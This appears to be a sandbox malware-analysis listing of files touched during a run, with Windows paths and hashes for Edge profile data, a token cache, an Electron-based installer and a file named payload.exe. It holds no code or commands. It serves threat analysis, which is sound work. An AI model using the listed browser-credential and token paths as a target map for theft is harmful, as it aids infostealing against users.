SSDEEP 48:xeWb73Vl1JedFBHRdkATypMv41un4lMOEPcGeeuMHT67oWOkYrs4PV4ywr5NGKWj:xTYFBx+Mr4ljM9XqNGxBMwPr2ESek552
TLSH
T198A10A280D9A0469FB902A3DC8E15E217076927909DFFEDF06C4F7B495B3794F425438
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe58fba1.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58fba1.TMP
Size 3KB
SHA256 99730baf10fde8ccd58cf1558438ef7c6417b54ffb62e2387c052aaf5c23355d
MD5 46c2437722761360db8172bc7b929d0d
SHA1 852a093d6c487188fa5f7857dd4f11731e9bd20e
SHA512 6bedbb7addb4318fd5151e37c8404aa63d289afe5b673b80a1a292e78d1c7a778ecc9e650b5482e476c6404a710b7950725c519e185d9ecf2ecbc65f97c2c349
TLSH
T13E716E781102085DF750253E41D2467274BB82B90AEFFEEB05C4F7B8A8F3B25B969438
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache\data_1
Size 264KB
SHA256 dc30be54a8f6d1a8b70c20c741ca79d6296ca6f617f776d5ac3f78df41b27927
MD5 bda21268c03bea2e00b24a4b9a9f50d1
SHA1 0fbe48e6c4cb4ddd865d19f73266c34d76e30e16
SHA512 50d863d9c273f0dab8b9a952fd08ff5136a9e21b25b41e739dfc397ca8d4d98cf221215b9ff437c815505c8da30f4fb6afb5a7d4826fe1c02773b86e431b62f3
SSDEEP 3:MsEllllkEthXllkl2zEA/:/M/xT02z
TLSH
T1284404047FC01C05CF011030C051C3510370D4704711D75734F104335CCF5C01C00100
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 20KB
SHA256 d58a8e017e2e3e6ec2fe9928a52852d43ef2b5a83d1487f68d13f715b3fd74f9
MD5 4d2d1cbd185e4f88b7558ef196d41488
SHA1 0d85feee11df4ba21fdca302e0417495a9f76a49
SHA512 a0c1959c8aeef9a2f913640c6a8ad2087296a46f32b2789139c1ef1799f698d8a7b63755bc7601cd82691e61f53f9c91adc653137df761fd7db7c3a11ed896b7
SSDEEP 384:DvWxklcYaheF81VYPtitmnbN55eh/+/eRjJjS3Ag1ZPoKRxnuZKZlhg2Z+QFoGW9:f0A/HR6U/2j9iS
TLSH
T1C0929EF7C2D5C62E881156F496146E1BCE1D066A832C3C2A89E5FF4FA3E2072E25574F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 cb3a9ebfd7abe85a42aaa8f363fb11edd8e3279cd7d2e3c23f44981672f64fca
MD5 18e8f4911159d6bcd3db241c3e933bd5
SHA1 b39137066a1e12b3a705cd9fe59bc65189855352
SHA512 dec371c6bb3cc83dbbb1801982a646fb86469908f655345fc352ef031d711e5195fa40c966e59f4ddc351812b64fa186a233ba109e555ca6fcae8bb3c5b955dc
SSDEEP 192:sxZEbRDy43KOMl8MkEXJ/fk4st13vMIqpd8HW6+WNGYwKVkPIgrJ:sxZEb+MEXJ/fk4sn3vYWHbGD9
TLSH
T1A142EA556B34A97B8CCFD209FA45BB53D6F9447395910E44AEFCCA1C04EAAEC220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 83f7cff21d2acffeb576e15dc10c0f7d04f36070c1f3d581e7262698d8272252
MD5 302ca0ea65a939e2d3575914b7e8e7cb
SHA1 eba76311b606d582ae0b6a89b810c7de0bae8058
SHA512 7a7c1b5d28076b823152ad56635df6a769c84e307a9810c33d15551bf29dc178c86e98aee4b9693bae3e6cafcf768e56c66d2c7827cf9a617b0edd2953d3098b
SSDEEP 192:sxZEbRDy43KOMl8Mf6EXJ/fk4sQ1akHqpbv4qxlyFvHW6+WNKVw7FNi/YwUaJkPl:sxZEbG36EXJ/fk4smakWSHb4/UgM
TLSH
T18662D856A63459BB8CDFE219F941BB53D3F9547291910D84AEFCCA1C04EABEC220381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 dff6c457d2a5d6ee3888593142d74f4c841e3a88159e8e22e57efb7056626f9e
MD5 0b085eda547384a4db03f8c7a99a114e
SHA1 1f3dcc36e5a799f21bfbf881c82ee99903dc360a
SHA512 49a80eeeed59ccc9ab01b59ff75069e75601d27d22016824e7119f16bef428f4f17c71518bc7ad31300c10b2b0b8ad7a6211b1e5593a254d02f96ba6d8f4e12d
SSDEEP 192:sxZEbRDy43KOMl8MdEXJ/fk4sQ1afHqpbv4qxlyFvHW6+WNKAFNi/YwUaJkPIg5D:sxZEbG1EXJ/fk4smafWSHb8/UgM
TLSH
T14962D856A634597B8CDFE219F941BB53D3F9447295910E84AEFCCA1C04EABED220381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 0cb3f5bff3c97b8a960fb8daa8c998e1ec407dc3550ef590c8026851f4b8fe69
MD5 b3064909e69d5ad82b36c3fb1d822b23
SHA1 3cdfd10438dac2e435d139950d1ced0d63ae1e7c
SHA512 ae2a0e2c8be7588208886a9122926e526d4415a766a93a05159dadf7d99332d5284b84ff95b754e26f37b09ad0f9b5b1d0ddb8101d5c3d0f87969e61a815dac0
SSDEEP 192:sxZEbRDy43KOMl8MdEXJ/fk4sQTWpVga7Hqpbv4qxlyFvHW6+WNKl+w7FNi/YI43:sxZEbGvEXJ/fk4skWvga7WSHb1/EqM
TLSH
T17E72D756A53459BB8CDFE219F941BB53D3F9546395910E84AEFCCA1C04EABEC220381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 20804cc6d8979ba2853c02cd67cc69bb68ee50ac945b00ecee950fd0d11e95a1
MD5 1371a6fb428309997670c404f3570a55
SHA1 8c5974489f55db36a9041821a62b70da03230fdc
SHA512 25c797df02187905c38219e6bfc5ab25c537c6b6acb66d6038035580dd3b4f959e9c0b5f92361a47e1d4161554355bb771eebcca76fae33341e02572cd19b035
SSDEEP 192:sxZEbRDy43KOMl8MEEXJ/fk4sQ1afHqpVv4qxlyFvHW6+WNKAFNi/Ywq6kPIg5uM:sxZEbGMEXJ/fk4smafWwHb8/kgM
TLSH
T14362C856A63459BB8CDFE219F941BB53D3F9447291910D84AEFCCA1C04EABED220381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 134c9d0e426517a46cc34b7996d8ac78b88f00567916534384b7e7e9da1f0820
MD5 8a1106bb095086ae15cda6db585a2d50
SHA1 f3d6d2006b4d590f1219e9654ff870faa1c5666a
SHA512 3779c3091a2f5460295b5caa2b10f799b524b388e7d921358b911f27893d5580cf724e392a1fe64c909e40328b381982a630fc69d1574e07fd2226da4f2ab1e3
SSDEEP 192:sxZEbRDy43KOMl8MfnEXJ/fk4sQ1afMIqpVv4qxryFvHW6+WNKA7Ywt6kPIg5uoJ:sxZEb+3nEXJ/fk4smafYeHbltgM
TLSH
T10452C756A634597B8CDFE219FA41BB53D3F9447291910D84AEFCCA1C04EABEC220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 fde1f41e96b832d3ecb94903e960926e52c5430573625519206c30a889178793
MD5 3f851ffbc729c76edf8fbd45925c6b00
SHA1 19045e7d59d4a38c77406ca046f8c24e40649da0
SHA512 5c6947f0011067883ebe36a5946469c83df32762549131dba2f64aed6953330ea18da9869ba09f2dc12399717138ec096797b641dfb025f1797fe3c52b187bcf
SSDEEP 768:cr4jeXmWvmKLE8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhPLlrZ+dTrohHcKaA:cr4jeXmWvmKLEu1jacPLZQdgGK
TLSH
T157D2093B284CCF7E4F844E5CEC26AE976ED801CB6A584D5447FA494C03CB6EB512B49B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 412c583d49748818e5bb1f171b476ecce06122c3e02b6302cd2e2006fed808cd
MD5 279b30daafeec35cced3aa8bf0aa93af
SHA1 f8e5f7696a4a8827dff041f0f29d370f22f6c8f3
SHA512 ea21b3327957cfc7ba2eceeffb8cd5dabdbf72cf02f10b47304a464aef86e13e581379172c88f6142280a1dde07f795072dff8c9af2d08188c147d99796b45d9
SSDEEP 48:KKwra2oiS1pudIIcO1KXEP41zQlGVuSOyZIDyuAaa9p2VwIcG9KX8Pg9z4tGtWU4:KALGK0gWO/GKscnQAKV+K9
TLSH
T17F91205176B613022C7E650D8161DAEB0A427AB33038E63F37A950761E6BE115EFDCCD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 6e58e69a07fdfb27891cfa9a663b1cd3f76e4a77ea6f312fab0beb3b92ffb513
MD5 0e9aef861dfc449f7c41490bc0935a6a
SHA1 415c9a9af8ed42ea8a4b1c1714d8ffb40ebd3d5d
SHA512 56b3c671441a5ee97333d065bef62a5294fccb6e759bb5436b832e1cddb040fbe14977a7faf64eeec68ce7a321ba6230984dbe5437efa8d5ac6ce8ba03b4515d
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/uo:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAR
TLSH
T12AA2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59a01e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59a01e.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 6bb0c5b3513638cbe2a228518ce7f82bdb685229c7c22dba4b8dea68f019639e
MD5 ac151e4ecbf45aafbc2595f28a422db1
SHA1 f195a3dc380725bc0f841e1d31f6d4d766a11b84
SHA512 b07f97db5ebf89532da1b2c427b6757a70e0a3f72a67cb1476f06409cac8f55fd89199659d2f1fd5049093dc1e42b7de319a1c01a1867df65cea89a789083a7d
SSDEEP 384:nZcIhsNqbpXYSzf+zF8jYNX7xuvFAz/rgOSi+ArbC74HI:PhjjMr9VutAz8MC74HI
TLSH
T102826C726CB9AC7A59E6B541F84B22138FFC5027DACA6F94D6FC9B1C00DD6B81306C16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 138425dcbdb1ffbb848f963849baab7f71b1c044a606ae4a388d0c7b2dc3e47b
MD5 186e8eae5515c786489d3fd60a9dd613
SHA1 88398bf12d74f96ee312918ada50798dabe16dbc
SHA512 3295cb5de81af86e60407fcebccec5b3c2bcdd87c6b436b586f6cf01217f569b416904f8999db7e40090e3397ca9ff19a28404ee09f1968cdd265d97cb571f3d
SSDEEP 192:EONS6hZ0QmiUyeApc/+jV9Jjzor9eao5wOZUGU6:EONS6oypu+zF8jX2TU6
TLSH
T18602E93568796C6B8EE2AE45F48726135FD8113BEA956F84DAE81B1C008779C2347836
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 4ef451288483e29322d9bfc50277f86d7f6f1f6724f4cbc490552df41e58fb5a
MD5 2af64534936c0fbe0860b263bfe1e84c
SHA1 01be3da89655779c580b2c551a7bda1a17d3e200
SHA512 fb427f74839c8871b87e2be1db92377bfd283a094a66e9531d9cf6aeb50adfe21976f4a55297ff4252aa9d41aea7ac8c149a3da2f8f0d1aeaa96a9bbf26d206b
SSDEEP 384:9CFPZcIEsNy8TUNTUlIlxpXmRhf+zF8jYNX7xucFAz/rgOSi+ArbC74HI:cFHE7wgaJMr9VuaAz8MC74HI
TLSH
T194C21BF258D79836D9AD9743A77E2D038EBCC027B5856A90B7D84A0CCC495BFD306C16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 c468cf3bc803334acd0f6b88bbef3718addb0e44862de03476d8ceae6774d40e
MD5 e8ec64bc187b2eaa401c179d76b1f961
SHA1 afeb82d3417316108abf40c283ee27fb171cc217
SHA512 d243a88db9b39afe2cd51039af849510c5bb0e9dc5c75c03847b1379b28503317106866ffba026bb7e67f8031b89210282142e42898bac3f540c2190dbd45bba
SSDEEP 384:9CF6ZcIEsNy8TUNTUlIlxpXNkhf+zF8jYNX7xuBFAz/rgOSi+ArbC74HI:cF4E7wgYJMr9VubAz8MC74HI
TLSH
T109C21AF258D79836D9AD9743A77E2D038EBCC027B9856A90B7D84A0CCC491BFD306816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 3eeb663f018ead522b2f8a66a09e72911ea606fbd269bf648adc3d787de6bf4f
MD5 6e54546eae73a0eefe70c0fec1a85d92
SHA1 872926598c916041a28cdb9aceb95cb7316f78a4
SHA512 ef69c7504411787fc80ea9b34db49e711f74c91199b548d419c7b41bc3aa450adb4aba0303d104c15fbc4bf88982a0fb9583e02deb06f502185aa530b8e14dfb
SSDEEP 768:cFlSHwgbUpMr9VuaA/tSckqtlz8MC74HI:2SyHHLtlzrC7II
TLSH
T167E27DF284D78CBAC49CA7C7677DAD0259BCC037B5499658B3E86A2CEC4A5BFC301851
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 4da18917d9fb7e47c1db8bccfd9745f0cfce6a2d58a1eacfc3cb6258a82a9871
MD5 9a4c0c7365f92ae8d669f779c1c687b6
SHA1 0dc4d4f67031b04304c6732917c984eb3f886226
SHA512 791ae049e962e4159b21b039ab568239592c1076b7de97e1d3da6ef1271a8caf0135cd1abc78ffa48a8e9492a16d323d7ce119cc648db1ee0ebf8b822e43fa6b
SSDEEP 384:qZcIysNqdpXy1hf+zF8jYNX7xuvFAz/rgOSi+ArbC74HI:IyIJMr9VutAz8MC74HI
TLSH
T1C7826C726CB9AC7659E6B541B84722138FFC5027DACA6F94D6FC9B1C00DDAB81306C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 77b750fff5d64316dee45dd4c3832aeaa5ba090b404035ef0101257727d20895
MD5 10a3dd11b27631446f2d14c9a4cffbbf
SHA1 fb4a53b64e48dc450e60bcd537372f0e2a385cfb
SHA512 ab6408488baa76016babba858bf0ffdad889ce6eab80216454e1d8e028dd1454f03fc94d004a496359910deabb919204e816a61f9ed3752530fdcd08dfd00e7b
SSDEEP 384:iZcIksNqxpXN1hf+zF8jYNX7xuvFAz/rgOSi+ArbC74HI:QktJMr9VutAz8MC74HI
TLSH
T1E8825C726CB9AC7658E6B541B84722138FFC5027DACA6F94D6FC9B1D00DD6B81306C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 0945eb6684b7a1ee4ff35c0d951f127720b6588326080547dfc4f839ca5c8d9f
MD5 f985fb7789d92a10a9051a558f2cfdbf
SHA1 9b5dd415e91104e2582ca95a4b78eef6a0013ad6
SHA512 59bc06b8154fff23086e56a8b9c558d2f4bc38b87cbff15fa276049ea0b08454642a4422bac2b88ecf26aadd5b48dc3efb0712e1040b0886b61019627500ad92
SSDEEP 192:dONb6hZUQmiUyUAhc/+jV9Jjzor9eaYNXFFuSut5cOq/qLU6:dONb6oehu+zF8jYNX7xuY9AU6
TLSH
T13312FB3668A8AC675DD2B541F48731138FE95127DECA7F94D6EC2B1C00DF6AC1346827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 33395f13be420f03c44d89173b77017d9aa7550182f387d38db04581680d864a
MD5 ec8731af02a0089e94239aea41d8f0fc
SHA1 a6d593a69b582a8701154bde321c7cd66d06762f
SHA512 4218a80ecfd17e31b083e6d66d39ef6a3d1ca5a2a92d711861831c85b7f3b96189715f02726c49d4b3b5fa9b9d60084098230cde2a2691995039039f1a9e8bc0
TLSH
T174412B49B5E91149B3B37F5A9BF6A82D487EB8372E07919E10010E4F0A63B41C971B37
MD5 SHA1 SHA512 TLSH

Submit Download

Uninstall Installer.exe

Path C:\Users\Admin\AppData\Local\Programs\installer\Uninstall Installer.exe
Size 136KB
SHA256 71efac736fa530408e083252e87c03ced608166c571e1656c4d43b0045163273
MD5 80868b05bf94c01e529ea96769820caa
SHA1 d2fb38b699ca240d4bf9f13b56b75918df3ca205
SHA512 eb1e00331575c9b9ab4da739fc4afa35838d3cbf11c5d888a01e210462772014ab69e45746218c997992a6454d0e2c976f6a60fd6ef5d5db486bad66780ffc4a
SSDEEP 3072:yn77v00hEoDEtauuceA0JLt3SZIUE5HaH2tvhOEA1RJCir86SrSrv6Ia32:y740Iem0JZwUs2t0EyL+yaG
TLSH
T162D3E001B790C4A7E5F70F314AB693EB2EB1F51164249F033B812B5E7DA6691EE0E351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\Programs\installer\chrome_100_percent.pak
Size 150KB
SHA256 49aff5690cb9b0f54f831351aa0f64416ba180a0c4891a859fa7294e81e9c8e3
MD5 b1bccf31fa5710207026d373edd96161
SHA1 ae7bb0c083aea838df1d78d61b54fb76c9a1182e
SHA512 134a13ad86f8bd20a1d2350236269fd39c306389a600556a82025d5e0d5adaab0709d59e9b7ee96e8e2d25b6df49fefea27cdccefe5fba9687abf92a9a941d91
SSDEEP 3072:AzwJCGIekwENgMBsFAXg6VKdL2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:Azw1IekmMBdQXK18Gb0OV8ld0GecQ3Ey
TLSH
T174E3E1D7B7F4ED3DCA5B56B7A61500B2ECB346780691434B078AD8363A76748D8C8783
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fil.pak

Path C:\Users\Admin\AppData\Local\Programs\installer\locales\fil.pak
Size 556KB
SHA256 a30015021fb928bcf16f9409fb45fb89ca3d196bafb3597df3fe4a9e477a3fd9
MD5 e499af17fce1f7f276b3bfb0e1b2f5b2
SHA1 e2bf18acf2a9e357aa7a694b5c60f947fd8bb0c2
SHA512 a1f03b7a6ec3f4601052d4e1f2ca6c092d9e5fe41ce7df89f7e7fbe1a1892df73a9cb85058f3c24e1236ed013e2bdd017f7bec3d6b6ff13ca61bf0849c73f472
SSDEEP 6144:aZdptKHeHQogDYIQy7DQEuH2V8L0dnGNLmG5IXmr1YARQqK:odM5kxEG5mmg
TLSH
T13BC4B615B7402748DBC352E51360A82F66E560BC3F823C6E4FBF269B6BA7CD5D270192
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\Temp\3IDPq0YMjpUi3NUnf3Grn506iSD\chrome_100_percent.pak
Size 163KB
SHA256 b7805392bfce11118165e3a4e747ac0ca515e4e0ceadab356d685575f6aa45fb
MD5 4fc6564b727baa5fecf6bf3f6116cc64
SHA1 6ced7b16dc1abe862820dfe25f4fe7ead1d3f518
SHA512 fa7eab7c9b67208bd076b2cbda575b5cc16a81f59cc9bba9512a0e85af97e2f3adebc543d0d847d348d513b9c7e8bef375ab2fef662387d87c82b296d76dffa2
SSDEEP 3072:IOzwJCGIekwdLpsXYFAXg6IL2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:IOzw1Iekam5QpK18Gb0OV8ld0GecQ3Ey
TLSH
T142F3E1D7B7B4EE3DCA5752B7626600B1ECB7452807A1434B178BD8763A72348D8C8793
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

payload.exe

Path C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
Size 5.2MB
SHA256 4901e4baaca7f23128c3cd7a816d81fc28f5ce4d250f472bb2eae97e90e666f9
MD5 510773c7327d93ce4f23e458e939b53c
SHA1 9628f327bac5e4edef06437537ca2462971d8d06
SHA512 094e0cf4879c0cc750a9883a0bca49a9b74245629ef27f8b52946944afea4dd81c1759c55e18a7bb8edcffcc12e2434755213e387bff286ba483b9cc756fbeab
SSDEEP 49152:mlmQSD/rGLPj7w+eLsZNkCOwBmvrg7TmdIu:d5aXfZgcmsX8F
TLSH
T106464B03ADA505A9C0AA9738C5B78752BB76BC88873133D72E50BA383F76BD05E75710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_f1r4dfsj.tyu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1r4dfsj.tyu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.electron.txt

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\LICENSE.electron.txt
Size 1KB
SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
MD5 4d42118d35941e0f664dddbd83f633c5
SHA1 2b21ec5f20fe961d15f2b58efb1368e66d202e5c
SHA512 3ffbba2e4cd689f362378f6b0f6060571f57e228d3755bdd308283be6cbbef8c2e84beb5fcf73e0c3c81cd944d01ee3fcf141733c4d8b3b0162e543e0b9f3e63
TLSH
T1B511861E726453721C56136055766C84F12F725FBAAF2784246EF384233746CE5FF844
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSES.chromium.html

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\LICENSES.chromium.html
Size 8.7MB
SHA256 ad35e72893910d6f6ed20f4916457417af05b94ab5204c435c35f66a058d156b
MD5 bd0ced1bc275f592b03bafac4b301a93
SHA1 68776b7d9139588c71fbc51fe15243c9835acb67
SHA512 5052ae32dae0705cc29ea170bcc5210b48e4af91d4ecec380cb4a57ce1c56bc1d834fc2d96e2a0f5f640fcac8cafe4a4fdd0542f26ca430d76aa8b9212ba77aa
SSDEEP 24576:KPQQ/6MP6P5d1n+wRcXe1Lmfpm6k626D6b6+eGnkywBIpv:Cy8OeG8k
TLSH
T1C696A52F7B48037306C642627B8B65CAF21E903F3B561A54345CD1681F6BA2983FF6D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\chrome_200_percent.pak
Size 229KB
SHA256 4d5b51f720f7d3146e131c54a6f75e4e826c61b2ff15c8955f6d6dd15bedf106
MD5 e02160c24b8077b36ff06dc05a9df057
SHA1 fc722e071ce9caf52ad9a463c90fc2319aa6c790
SHA512 1bf873b89b571974537b685cdb739f8ed148f710f6f24f0f362f8b6bb605996fcfec1501411f2cb2df374d5fdaf6e2daaada8cea68051e3c10a67030ea25929e
SSDEEP 6144:gDQYaSN6svydrI8jDQUgx5GMRejnbdZnVE6YoppO4:NfSN6svydZ6edhVELoXO4
TLSH
T1A734F1D763F89D3DC9674AB3522601F1ECB2013946B6424B03DBED357A96BC988C92C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3dcompiler_47.dll

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\d3dcompiler_47.dll
Size 4.7MB
SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
MD5 2191e768cc2e19009dad20dc999135a3
SHA1 f49a46ba0e954e657aaed1c9019a53d194272b6a
SHA512 5adcb00162f284c16ec78016d301fc11559dd0a781ffbeff822db22efbed168b11d7e5586ea82388e9503b0c7d3740cf2a08e243877f5319202491c8a641c970
SSDEEP 49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
TLSH
T1AA367C5673EA40B9C1ABD178CE479213EBB1781403345BEB4190C669AF73BE16A3E734
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\ffmpeg.dll
Size 2.7MB
